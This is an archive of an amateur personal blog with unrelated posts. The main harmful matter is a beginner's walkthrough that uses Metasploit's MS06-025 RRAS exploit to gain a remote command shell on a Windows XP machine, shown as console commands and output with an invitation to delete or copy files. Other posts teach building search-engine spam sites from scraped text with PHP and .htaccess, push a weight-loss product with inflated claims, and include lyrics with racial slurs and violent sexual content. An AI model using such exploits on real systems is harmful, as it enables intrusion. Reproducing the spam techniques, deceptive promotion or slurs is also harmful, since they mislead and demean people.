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A day without a perdurable is like a day without sunshine

2009-11-07T09:01:00.001-08:00

A day without a perdurable is like a day without sunshine

Hacking for Beginners seriers: Hacking Windows XP

2009-07-08T03:26:00.000-07:00

Welcome to the Hacking for Beginners Series. Tried to become a hacker and did not know where to begin? You've come to the right place...
So Now we set up your hacker PC. I call it so because this computer is gonna be your battlefield where you shall learn the art of hacking and maybe ( if you want to ) become a great hacker.

So first you need to download metasploit.
Now what the hell is that? ( You'd Probably say )
Well it is a free downloadable tool that makes hacking ( preliminary ) easy as a cake.
You should download the windows installer here.

So now you've downloaded the file, what next?
Install it....
Now you've got a metasploit on your start menu.
Find the msfconsole.
Click on it.
You will see something like this:

now type show exploits
You'll see something like the one below. Actually metasploit has exploits written into it. These are the vulnerabilities already found out by the makers.

Now we have to find the RRAS exploit. It is called ms06_025_rras
Now we type in:
msf > use ms06_025_rras
msf exploit(ms06_025_rras) >
Notice how the prompt changes and becomes something like the above line.

Different exploits have different options. Now we setup the exploit options.
Type in show options and you'll see something like this:

msf exploit(ms06_025_rras) > show options
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)

This exploit requires a target address, the port number SMB (server message block)
uses to listen, and the name of the pipe exposing this functionality.

msf exploit(ms06_025_rras) > set RHOST 192.168.1.220
RHOST => 192.168.1.220

The payload:
This is the thing that metasploit does after you've hacked the computer.
So we load a payload now into the exploit. We type in show payloads.

msf exploit(ms06_025_rras) > show payloads
Compatible payloads
===================
...
windows/shell_bind_tcp Windows Command Shell, Bind TCP Inline
windows/shell_bind_tcp_xpfw Windows Disable Windows ICF, Command
Shell, Bind TCP Inline
windows/shell_reverse_tcp Windows Command Shell, Reverse TCP
Inline
...

We will use the bind shell. This will give access to all operation on the PC. You must've seen command prompt ( the DOS thingy ).
So type in :
msf exploit(ms06_025_rras) > set PAYLOAD shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp

Then again we need to setup the options for the payload.
msf exploit(ms06_025_rras) > show options

Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.220 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)
Payload options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port

Everything set:

The exploit and payload are both set. Next we need to set a target type.Metasploit has
some generic exploits that work on all platforms, but for others you’ll need to specify a
target operating system.

msf exploit(ms06_025_rras) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 2000 SP4
1 Windows XP SP1
msf exploit(ms06_025_rras) > set TARGET 1
TARGET => 1

You have set the target.
Lets kickstart the exploit!!!
msf exploit(ms06_025_rras) > exploit
msf auxiliary(pipe_auditor) > use windows/smb/ms06_025_rras
msf exploit(ms06_025_rras) > set SMBPIPE SRVSVC
SMBPIPE => SRVSVC
msf exploit(ms06_025_rras) > exploit
[*] Started bind handler
[*] Binding to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_
np:192.168.1.220[\SRVSVC] ...
[*] Bound to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_
np:192.168.1.220[\SRVSVC] ...
[*] Getting OS...
[*] Calling the vulnerable function on Windows XP...
[*] Command shell session 1 opened (192.168.1.113:2347 -> 192.168.1.220:4444)

Here is the command prompt below of the hacked system. You can now delete , copy files or do anything with it......

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
D:\SAFE_NT\system32>echo w00t!
echo w00t!
w00t!
D:\SAFE_NT\system32>

Safe hacking!!!

Warning : The above article is for educational purposes only. Use it at your own risk. The author is not responsible for any damage whatsoever casued by its use.

CodeIgniter for Rapid PHP Application Development by David Upton

2008-05-11T14:59:00.001-07:00

I started reading "CodeIgniter for Rapid PHP Application Development" as a novice. This book is specially targeted to anybody like me: little or no prior experience of Object Oriented Programming or the MVC approach, with couple of years procedural PHP experience, and is after something that can really take you to the next level.

I have prior experience of 2 years using Dreamweaver to build Web applications for my current employer. Dreamweaver uses a procedural approach to PHP, whereas CodeIgniter focuses on Object Oriented Programming (OOP). If you have not done any OOP before, then this book provides a good introduction.

CodeIgniter is a PHP framework that allows you to build clean and sophisticated applications using an MVC (Model View Control) approach.

Putting it in simple terms, an MVC approach provides a clean way to organise your code. Once you understand the concept and become familiar with the CodeIgniter framework, you will be building Web applications in no time.

The book was published by Packt Publishing. Like with all their books, you can download the example code from their support page. The examples are pretty easy to setup. I had no problems getting any of them to work. The details and explanations provided by the author make it very difficult to make a mistake.

The introduction was for me the hardest part to get through, as I had no prior experience with OOP, nor with the MVC approach.

I am a more hands on programmer. I learn from writing the code rather than reading about the methods. So when the book starts explaining how to use CodeIgniter to simplify common tasks, I started realizing how and why my application design would improve. This book was not just about CodeIgniter, but a new approach to efficient application development with all the hard work already done.

After you are introduced to the MVC approach, chapters are broken down into common tasks. It starts looking at how CodeIgniter works with database connections, while keeping the application code clean and writing less code.

Initially I thought it was reinventing the wheel, making me learn a new syntax to achieve the same results. However, over time, you find the application development with CodeIgniter is a lot easier because it is simple, especially when it comes to troubleshooting. You are working with a much stronger and efficient foundation when compared to not using any framework.

In the middle of the book we get a look under the hood, i.e. how CodeIgniter actually works. You will still want to write your own application classes. Here we can see how we can integrate them with CodeIgniter. Being new to OOP, I just gave a brief overview over this section, as it focused very much on the CodeIgniter "super-object", which is the root of the framework.

You may have heard about "Test Driven Development". In a nutshell, it focuses on creating a test environment before you even start writing your production code.

The idea is that you build your application and code to pass these predefined tests. It is difficult a concept to swallow initial, so I welcomed the chapter that helps understanding this approach to application design.

Once we have tested our application and we are happy with the functionality, how can we ensure we have not ended up with slow code? Easy! David Upton, the author, shows how we can easily benchmark our application using a CodeIgniter class.

Benchmarking is not always required. Smaller projects may not benefit much from speed improvements of just a fraction of a second. But if you are building an enterprise class application, optimization can make all the difference.

The CodeIgniter framework offers a lot of productivity to PHP Web developers.

The greatest benefit of buying this book is that we gain a practical understanding of where and how we can use CodeIgniter.

I have only scratched the surface of what is offered by the author. He tutors you on each section, explaining the concepts behind each CodeIgniter class or helper.

You are not overwhelmed with code, but taught valuable lessons about the MVC approach and Web application development.

Well a seemingly unauthorized version of this book has been hosted by DBEBOOKS. But if you really wan to see it here is the link

Dbebooks.in - CodeIgniter for Rapid PHP Application Development

Signing off,
Guru

After-Life question

2008-05-01T07:32:00.001-07:00

Question: Oneday everyone meet death, 90% of people belive a life after death, What about you?

Answer:

the soul that comes out from he body after death has no weight, volume,mass etc. It exists in another space-time dimension ( spl. theory of relativity). Everything including souls have consiousness but in different space-time arrangements. Even the souls will consider us as non-living things because they cannot percieve us through their sense organs. Just read einstien's spl. theory of relativity. you'll understand all well.

Do you have any experiences about spirituality? I have many miraculous things happening to me..

2008-05-01T07:17:00.001-07:00

Question : Do you have any experiences about spirituality? I have many miraculous things happening to me..

Answer:
We can take it in two parts: the god thing and the physics world. Believe in anything but it works out fine. Even if God exists it works in total harmony with nature. All experiences are just either hallucinations or extended use of the sense organs. Nothing more. The concept of vibrations as telepathic carriers can also be a reason to these spiritual phenomena.

Sedan

2008-04-08T02:44:00.001-07:00

n a livin dog is better than a dead lion,
have stolled the streets with moes in oblivion,
got bitches under ma dick
the day's great,
got nothing to eat , leave maself to fate,
in a dingy cell, or under the church bell,
i can see those humans hurdling,
feel like murdering,
all of those two legged ones,
n' stuffing maself up witheir bums,
so i'll have their bums first,
drink their blood
to quench ma thirst,
lick on to some boobs,
then eat em' whole tooo,
well ma wish didn't come true,
in my deathbed i moo like a cow,
instead of the regular bow wow,
working up my past,
i lay there till the last,
waiting for the dog pound workers top blast
me up,
and set up,
an incinerator to burn me up.
my souls alive , i gotta say,
i am puzzled for now,
but some day,
i'll come back to eat you all up,
so whass up ???

Jail Bird -I

2008-04-08T02:43:00.001-07:00

m a lean dog, a keen dog, a wild dog,n lone,
m a rough dog , tough dog , hunting on my own,
m a bad dog , a mad dog, teasing silly sheep,
i love to sit n bay the moon, to keep fat souls from sleep...........

n a livin dog is better than a dead loin............

Ishwar - I

2008-04-08T02:42:00.002-07:00

takin a flow like this be breakin the suckers
And rippin the rhythm and showin I'm bringin the feel of my tongue
And be makin em manifest that I be rockin the young
Flowin this style I be singin and bringin
It's breakin the people and go in the mind of a teen
Be makin em hear it and manifest up in him that I'm a star to become
Quick the lyrical style I'ma kick
You better catch the rhythm of it
Cause hip-hop is becomin complicated, never be left hung
Bringin a style like this kinda quick and crisp
A lyrical twist be comin up from Chi-Town
I know that hip-hoppers all over will be stung

jAIL bIRD - II

2008-04-08T02:42:00.001-07:00

a''eight man nw check this out.................
yo yo ..i've a Porqpine, havin a sharp spine.............
n let me tell u tis seriously mine,
tis my pet,
nobody aint keepin it cause every body regret,
cause whenever u treat im like a pet -n touch im on his back,
God Daam it , ee gives u a SMACK,

see when ever u treat im like a pet whom u can't even touch n every body thinks tis a problem as such.!!

if some body comes im eee moans,
CU Chi CHI pe Pa, cuchi puki ki ki ki pa,
n i say to them watch out man cause eees comiun to get yA,,,,,,//////

Sedan -I

2008-04-08T02:40:00.001-07:00

IDEAL MATCH- A SEXY GIRL WHO CAN RAP
MA LORD I GOTA PARK MY CAR IN THAT GAP
OF HER SWEET LIL ASSHOLE...ASSHOLE...
SHOULD I SHOVE IT IN PARTS OR CAN SHE HAVE THE WHOLE
LOTTA MEAT I SAVED FOR THAT ASS
I GOT A LOT O' PROSSIES BUT HAD TO LET EM' PASS
FOR JUST HER I COULDN'T HAVE A BLAST
LOOKIN INTO MY PAST
I AM THE PERFECT ONE FOR MA GIRL
I'M NOT A NIGGA BUT IN A WHIRL
I'LL BE HER SUPERSTAR....
I'LL DRIVE HER IN A PORSCHE CAR
I'LL GET HER THE BEST DRINK OF THE BAR
SORRY GOTTA PEE.
WILL BE BACK TOMORROW WITH A GLEE
ON MA FACE (OOPS YOU CANT SEE IT )
WHAT A PIECE OF SHIT
HAVE I WRITTEN ON YOUR SCRAP
SORRY FOR THE CRAP
JUST WANNA WRAP
IT UP AND SAY
YOU ARE THE BEST RAPPER BUDDY I'VE HAD
AND CLAD IN OUR UNDERWEARS
I WANNA SHOW MA DAD
RAPPERS ARE NOT ALWAYS NIGGERS.....

Jail Bird -I

2008-04-08T02:39:00.001-07:00

hey yo yo yo yo yo,,,,,,,,,,,,
check this out...........
m a fuckin jailbird,
jail bird ,jailbird , jailbird.......
i like all this shit of goin to jail,
again n again,
the good reason u get free food,
n the bad one i like excruciating pain,
the jail master mr wane,
beats u with a nailed cane,
the methdologies adopted in jail r insane,
always tryin to find a reason to beat u up in a phalanx,
to increase their rank,
thinkin ur whole style is a gank,
lock u up in a empty tank,
n keep u there till u start actin like a crank,
then the mother fuckqas declare u mad,
n ask u to remember ur mum n dad,
n give u a shock treatment,
n say ur nt mad , ncan forget ur mum n dad,
n give u a smile,n again a smile,
n act like a VILLAIN//////////////////////////

Hooray.. On the first page of Google

2008-04-04T03:53:00.000-07:00

Hooray there guys. Its been only 18 posts on this blog and we got a 5th position for 'Adsense Keywords Spam' . Guess how it feels to be on the first page of google. Take a look for yourself. This shows how quality is many times stronger than quantity.

How to gain respect from friends

2008-04-04T02:58:00.001-07:00

What happens when you join a new group of friends? You get to meet them. You crack some jokes and show them you are fun to be with. After a few meeting they crack a joke on you and you take it. You take all the jokes occasionally being pulled on you. After many of em' you become the laughing stalk of the group and other people around you call you names.
Now if you want to be held in a strong esteem by your friends what should you do ? Its more common that i see that when talking to your friends you use your basic instincts to react and nothing more than that. The first thing is that you got to use your brains.

1) Use your conscious mind. Without using it you will be a caveman-in-the-group type.

2) Receive actual subliminal messages. When person says something scrutinize the sentence in your mind by repeating it. When he says something his mind is actually covering up the subliminal message into a socially acceptable message. You got to get the point and respond to it with your wits and courage without offending the others.

3) Send subliminal messages. Don't just take the things to their face value. Now what kind of message would you like to send? I fyou wanna tell that I am far better than all of you, just hint on some points where you have done far better than them or even better do something better in front of them. Generate a little fear in them.

4) Be choosy. Dont always give in to your friends. Make choices on your own without being influenced by them. Then they wont take you for granted.

Follow these steps and within a week you will be treated with more courtesy by your friends.

The golden rule for Being the Winner

2008-03-21T09:15:00.001-07:00

This is actually a rule from India ; the land of mystics. It is called ' Saam Daam Dand Bhed ' This rule will make you the leader whether its social , business or just about anything. If you got something you got rivals and this is how you throw them off.

Saam : Try to negotiate
Daam: Threaten Them
Dand : Punish Them
Bhed : Make em' fight with their allies.

This rule , if followed will get you respect from the right people and you will be feared by your rivals. Use the actions stepwise on your rival and see the effect.

Yours Sincerely
Saurabh Datta

Building An Ad Spam Site - Part -III

2008-03-17T08:46:00.001-07:00

Well the first and the second part have been commenced with perfectly and now the third part. It deals with the code.

The Engine :

< ?php
$content_file = "content.txt";

$words = split(" ", join("", file($content_file)));
srand((double) microtime()*1000000);

$bh_title = rand(4,13);
$bh_real_title = " ";

for($z=0;$z< $bh_title;$z++)
{
$index = rand(0, count($words)-1);
$array = array($bh_real_title, $words[$index]);
$bh_real_title = implode(" ", $array);
}

$length = rand(250,450);
$bh_real_content = " ";

for($i=0;$i<$length;$i++)
{
$index = rand(0, count($words)-1);
$array = array($bh_real_content, $words[$index]);
$bh_real_content = implode(" ", $array);
}
?>

You have to see to it that the red marked area is the filename of the file you made in the first part.
So this is the engine. It will generate all the unique content for you every time you use it. You can post it with the following line of code into html code .

< ?php echo $bh_real_content; ?>

If you have used PHP before you can configure it yourself or in the next post I'll tell you how to configure it into a fully automatic spam site that will generate the cash you have been dreaming of. So wait or Subscribe

Signing off,
Saurabh datta

Highest paying Google Adsense Keywords - Part I

2008-03-12T08:20:00.001-07:00

Well while deciding your niche and main keyword for your website you can use this list. It is reviewed and corect.

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The next part will be issued tomorrow. YOU CAN ALSO MAKE SPAM SITES BASED ON THESE keywords. Also if you want to get keywords from your specific topic you can comment.
Best of Luck,
Saurabh.

Building an Ad Spam Site - II

2008-03-10T05:50:00.000-07:00

Well I already have discussed the structure and overview of the spam site. It has been a clever and easy one. Ones who have not read the first part Building An Ad Spam Site - I

External Options :
Now this is really important . Once you have finished the site you have to host it somewhere.
Well there is something called domain popularity. It goes like this. Well consider a free host. the host has around 3000 free sites hosted and most of them rank well so if your websites starts up there as a sub domain the search engine automatically pull you up on the list recognizing the trustability of the free host's other sites. So the key is not to use your paid domain but to host it free under some other domain.

.htaccess coding :

Like I told your in the earlier part that .htaccess is going to do a significant job here. it will make you single processing page look like multiple pages for the people and for the engine.
Here is what you got to do :

Start on the file with this code :

Options +FollowSymlinks
RewriteEngine on

The next part is to tell the file to rewrite the urls

Options +FollowSymlinks
RewriteEngine on
RewriteRule ^files/(.+)/(.+).htm process.php?source=$1&keyword=$2 [nc]

would allow you to present a link as..

http://mysite/money/Google/money.htm

and in the background have that translated to..

http://mysite/keyword.php?source=google&keyword=money

Now copy this text and put it up ina file and save it as .htaccess .

Ok will be continuing the code tomorrow. get it Here

I will also be releasing the tailored script for $5 . I'm keeping it cheap for you all.

Losing weight was never this easy.

2008-03-06T01:47:00.001-08:00

So my records say that I have lost about 15 pounds in a week. Sounds like a miracle for a person like me. I am a couch potato ; I can skip meals doing dieting ; I cant give up my taste for fast food and I cant exercise .

It all started about a month ago . i got a C in MY TESTS coz' I am fat. Now that's rude n I promised myself that I would definitely have a body fit in all respects. I got down to the library and searched like hell for some weight loss books. Just found junk. Do exercise ,diet and blah blah... That isn't fair . For a couch potato like me I can't do it.

Well but you can. I recommend you just one thing; well I can see the results . You will too.

Its The Fat Secret by Dr. Suzanne Gudakunst. And mind it its not a promotion event. Well I contacted Dr. Suzanne personally and was relieved to see that she was really knowledgeable and humble. She was willing to help me all the way to gaining a perfect body. She offers customer support and is indeed reliable. So if you get stuck and get demotivated just call her and you'll be on your way to weight loss.

Here's a discount coupon. it has 63 entries left. Coz' my friends used up the rest.

Fat Secret By Dr. Suzzane.

Bye and good luck with Your life..

Building an ad Spam Site - Part I

2008-03-05T02:34:00.001-08:00

Well my friend paid out his bills by his running spam site. Gosh his spam site has around 70,000 pages and he is earning around $100 a month from a single one. Not bad when you can earn that much with a single one. So I wanted this time to discuss with you , my readers about the nature of a spam site and how to build one.

Well the first thing that comes to mind is content . This is the main component since spam sites collect organic traffic.

Niche :
Since spam site reporting has become common in this cut throat market so it would not amaze me if you built a spam site on a popular keyword and get reported the same day of being indexed. So what you got to do is:

1) Use keyword discovery to get all phrases in your niche . Collect only the uncommon ones.

2) Use the phrase builder which most people use for adwords campaign to mix up all the words and phrases. You will be having then weird phrases with you. Make a huge pile of them ; say 1000 phrases.

3) Put them in a text file i.e. in a notepad file and mane it say 'content.txt'

4) The spam site uses these keyword phrases to generate content.

5) Now Google for your niche keyword.

6) Copy the texts of the top 3 sites listed on google for your niche. Put them in the text file you just made just below the phrases.

Structure:

The spam site uses this content to generate new content and make thousands of virtual pages. Actually it will be a single page . That will have different variables posted to it for which it will show different content.

For example http://yourdomain.com/?key=computer+sale
here it will show content related to computer sale which will be the main keyword of emphasis.

Similarly it will generate a thousands of pages for you. Now the trickery : It will use .htaccess file to rename these files as normal html files which will make these pages look as if they have been made manually.

for example

the page url http://yourdomain.com/?key=computer+sale will become http://yourdomain.com/computer-sale.htm

Isn't that satisfying to see.

You can then set the pages to show ads or redirect to your main site.

Well I will continue to explain the rest in my next edition. Just hang on... Or suscribe to my email feed HERE

The Drawings Of Leonardo da Vinci

2008-03-04T12:13:00.001-08:00

This is the heritage of manking. The extent to which understanding can go . Have a look for yourself at
http://www.drawingsofleonardo.org/

HOW TO TICK PEOPLE OFF

2008-03-04T12:05:00.001-08:00

This is what I found at artlung

Leave the copy machine set to reduce 200%, extra dark, 17 inch paper, 99 copies.
In the memo field of all your checks, write "for sexual favors."
Specify that your drive-through order is "TO-GO."
If you have a glass eye, tap on it occasionally with your pen while talking to others.
Stomp on little plastic ketchup packets.
Insist on keeping your car windshield wipers running in all weather conditions "to keep them tuned up."
Reply to everything someone says with "that's what you think."
Practice making fax and modem noises.
Highlight irrelevant information in scientific papers and "cc" them to your boss.
Make beeping noises when a large person backs up.
Finish all your sentences with the words "in accordance with prophesy."
Signal that a conversation is over by clamping your hands over your ears and grimacing.
Disassemble your pen and "accidentally" flip the ink cartridge across the room.
Holler random numbers while someone is counting.
Adjust the tint on your TV so that all the people are green, and insist to others that you "like it that way."
Staple pages in the middle of the page.
Publicly investigate just how slowly you can make a croaking noise.
Honk and wave to strangers.
Decline to be seated at a restaurant, and simply eat their complimentary mints at the cash register.
TYPE IN UPPERCASE.
type only in lowercase.
dont use any punctuation either
Buy a large quantity of orange traffic cones and reroute whole streets.
Repeat the following conversation a dozen times.
"DO YOU HEAR THAT?"
"What?"
"Never mind, it's gone now."
As much as possible, skip rather than walk.
Try playing the William Tell Overture by tapping on the bottom of your chin. When nearly done, announce "No, wait, I messed it up," and repeat.
Ask people what gender they are.
While making presentations, occasionally bob your head like a parakeet.
Sit in your front yard pointing a hair dryer at passing cars to see if they slow down.
Sing along at the opera.
Go to a poetry recital and ask why each poem doesn't rhyme.
Ask your co-workers mysterious questions and then scribble their answers in a notebook. Mutter something about "psychological profiles."

Courtesy : http://artlung.com/

Proof that Girls are evil

2008-03-04T12:03:00.001-08:00

Pelase no offence ladies. This is just what I bumped into over the internet.

What buddhism means..

2008-03-04T11:56:00.001-08:00

Just came accross a page on buddhism. Its kind of an eye opener but I'll show it to you from a different point of view.

Well first of all they have the four noble truths of buddhism.

Four Noble Truths
   1. Suffering exists
   2. Suffering arises from attachment to desires
   3. Suffering ceases when attachment to desire ceases
   4. Freedom from suffering is possible by practicing the Eightfold Path .

What I Mean :

Many a times you may have come accross situations when you badly want something and you can't have. Doesn't that happen ? And if you want it badly you sulk. You kick away everyone from your life ; your parents ; your girlfriend and your friends. You sulk , sulk and sulk till your unconscious mind gets bored with you and you go around finding something different to sulk on.
Now if you just write down these rules on a piece of paper and stick it somewhere you realize the gravity of this world's working . Nobody and I mean nobody can get everything. Not even the richest guys. I did this ; realized that sulking would get me not an inch closer to getting my goal ; drank some cold water and ran off with the day's proceedings.

Three Qualities	Eightfold Path
Wisdom (panna)	Right View
	Right Thought
Morality (sila)	Right Speech
	Right Action
	Right Livelihood
Meditation (samadhi)	Right Effort
	Right Mindfulness
	Right Contemplation

My Point :

This will help you everywhere. I always have wanted to have a personality of Mario Puzo's Godfather. Now what I did was that just wrote down every single decision he made in his movie. I tried to find in them the right view , right thought and right speech. I understood him. I began understanding the personality of Godfather. And today I have really become like him ; not a mafia but a leader in men. Dealing with men has never been easier before. You can try it for anything even weight loss...
Hope you succeed.
Rules of Buddhism courtesy: http://www.buddhaweb.org/

Beautiful but coooold...

2008-03-04T11:37:00.001-08:00

Saw this pic while surfing. Now that is what you call cold..
Would've bben dead if was there. But magnificantly beautiful.

Cats n more cats.

2008-03-04T11:35:00.001-08:00